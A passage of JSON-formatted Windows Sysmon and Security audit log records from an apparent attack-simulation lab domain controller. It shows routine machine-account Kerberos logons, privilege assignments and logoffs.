11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:09.175\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1960\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:09.175","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1960","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221825,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5ED0D\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5ed0d","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221826,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5ED0D\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51422\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5ed0d","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51422","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221827,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5ED0D\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5ed0d","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221828,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5ED79\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5ed79","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221829,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5ED79\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51423\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5ed79","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51423","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221830,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5ED79\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5ed79","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221831,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5F2D4\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5f2d4","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221832,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5F2D4\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51424\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5f2d4","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51424","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221833,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5F2D4\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5f2d4","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221834,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5F37F\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5f37f","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221835,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5F37F\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51425\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5f37f","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51425","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 